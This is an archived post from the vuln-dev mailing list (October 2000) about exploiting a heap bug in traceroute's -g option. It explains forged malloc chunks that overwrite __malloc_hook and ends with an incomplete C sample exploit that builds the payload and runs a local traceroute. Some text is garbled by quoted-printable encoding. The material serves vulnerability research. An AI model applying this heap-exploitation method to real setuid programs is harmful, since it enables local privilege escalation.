Vulnerability Development mailing list archives
Re: Traceroute exploit details
From: "Harrington, Perry" <pedward () WEBCOM COM>
Date: Tue, 3 Oct 2000 13:12:34 -0700
[I'm moving this over to vuln-dev...]
Got it, I'm there now.
if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */That's the problem right there, if I recall correctly. We have to have the next chunk in reachable memory, which constrains the size - I don't
That's where the 'chunk_size' of rogue2 comes in, it's 0xFFFFFF01, which wraps around when pointer arithmetic is done to it. The 0x01 is XORed to 0 when PREV_INUSE is checked. Since we don't want it to back-consolidate, it's set to 1. This wraps around to exactly the current location - 0xFF.
think anything is in reachable memory on a little-endian machine, where the next chunk size comes immediately before a chunk being free()'d, and thus in this case must end with a null terminating byte.To make this exercise work, we would need 2 rogue malloc_chunks: rogue1 a=nd rogue2.=20 The fd and bk pointers in malloc_chunk could be used for the overflow:Nope. You're misunderstanding malloc_chunk's use. Look at the definition of mem2chunk: fd and bk are on the free list, and malloc only looks at them if it assumes they are free. The chunk only starts 2 * sizeof(INTERNAL_SIZE_T) before the pointer given, not sizeof(malloc_chunk) as you assumed.
But free doesn't care. It does a cast to get the 2 extra pointers. The rogue2 block is probably wrong, it should just be 4 bytes of garbage and the size 0xFFFFFF01, which would make it purport to be a real malloc block. chunk_free checks the block adjacent to it, 256 bytes below the current block, which DOES appear to be a free list block, so the pointers DO work.
In rogue 1, it would have the following values: =20 prev_size =3D "CCCC" size =3D "CCCC" fd =3D __malloc_hook - 12 bk =3D 0x804cd7a + 0x20 (our rogue code) =20 In rogue 2, it would have the following values: =20 prev_size =3D "CCCC" (dead value) size =3D 0xFFFFFF01 (0xFFFFFF00 & 0x01 (PREV_INUSE) fd =3D "CCCC" (dead unused value) bk =3D "CCCC" (dead unused value)You could make such chunks, hypothetically, but you'd be freeing a chunk #3 after the both of them.
Nope, because the PREV_INUSE bit is set to 1 on both, so it's only going to hop to the rogue1 chunk. And because we left some dummy space directly after the rogue1 chunk, it writes to harmless memory.
The first '-g' argument would look like this: =20 offset value 0x00 "CCCC" 0x04 "CCCC" 0x08 __malloc_hook - 12 0x0C 0x804cd7a + 0x0F 0x10 jmp +0x0F | | garbage | 0x1F 0x20 | | code to execute | 0xF0 "CCCC" 0xF4 0xFFFFFF01 0xF8 "CCCC" 0xFC "CCCC"It's not at all easy to get that into a -g argument: (a) you need to put the code somewhere else, there's a 64char or so length limit on -g (b) there's character set restrictions.
The REAL limit turns out to be getopt. It breaks the args on whitespace, if it didn't, inet_addr would return 1 and savestr would be called. The limit is MAXHOSTNAMELEN, 256 bytes in the code. As long as the complete argument isn't >= MAXHOSTNAMELEN, it passes that check. Inet_addr has a check for validity which chokes our code: /* * Check for trailing characters. */ if (c != '\0' && (!isascii(c) || !isspace(c))) goto ret_0; So if you use a space, getopt only returns "1.1.1.1" as the arg to '-g'. That's the delemma.
Also, as above, you're wrong about what goes where. Note that the high 0xFF in the size will be forced to a zero, and the CCCC's are unneeded.
Umm, what do you mean? How is it forced to 0? We put the data in the struct in the correct order and LSB swapping does the rest for us, see the attached sample exploit for clarification.
You're trying to get chunk 1 and 2 consolidated; you can't do that.=20 This would work if you had some way to put data in memory just after the unallocated area you try to free(), but in this case there's no way to.
I don't have to put data in memory, I just have to trick free into reading my memory block. savestr allocates our memory like this: 0x00 ------ first -g argument ------ 0xFE 0xFF ----- second -g argument -----> You give it a valid value for the second argument, since it tries to call free in the middle of the memory chunk, it reads (second -g arg) - 0x08 and looks at it's size, goes and looks at (second -g arg) + chunk_size to get the adjacent malloc_chunk to see if it should consolidate forward, it encounters our bogus free block at the beginning of (first -g arg) and reads the pointers out. Since we are modifying __malloc_chunk and (first -g arg) + 0x0F, it doesn't go anywhere from there. (first -g arg) is the 'next' reference in the chunk_free code.
Dan
If that still seems wrong, you will have to elaborate a bit more. Below is my sample exploit I was trying. --Perry #include <stdio.h> #include <unistd.h> #include <string.h> extern void *__malloc_hook; typedef struct glue { int a; int b; void *p; void *q; } glue; int main(void) { int ipa=0x2E312E31; int ipb=0x20312E31; int dummy=0x43434343; void *mh=(void **)__malloc_hook; void *us=(void *)0x804cd7a; char buf[260]; char *prog="/tmp/traceroute"; glue temp; FILE *out; printf ("malloc_hook %x code %x\n",mh, usage); memset(buf, 0x47,256); buf[255]='\0'; printf ("buf: %s\n", buf); temp.a=ipa; temp.b=ipb; temp.p=mh; temp.q=us+16; memcpy(buf, (void *)&temp,16); printf ("buf: %s\n", buf); temp.p=(void *)dummy; temp.q=(void *)dummy; temp.a=dummy; temp.b=0xFFFFFF01; printf("code(%d)\n", sizeof(code)); strncpy(buf+16, code, sizeof(code) -1); memcpy(buf+240, (void *)&temp, 0x10); printf ("buf: %s\n", buf); buf[254]='\0'; out=fopen("/tmp/code","w"); fputs(buf,out); fclose(out); execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL); return 0; } -- Perry Harrington Director of zelur xuniL () perry () webcom com System Architecture Think Blue. /\
Current thread:
- Re: Traceroute exploit details Daniel Jacobowitz (Oct 03)
- Re: Traceroute exploit details Harrington, Perry (Oct 03)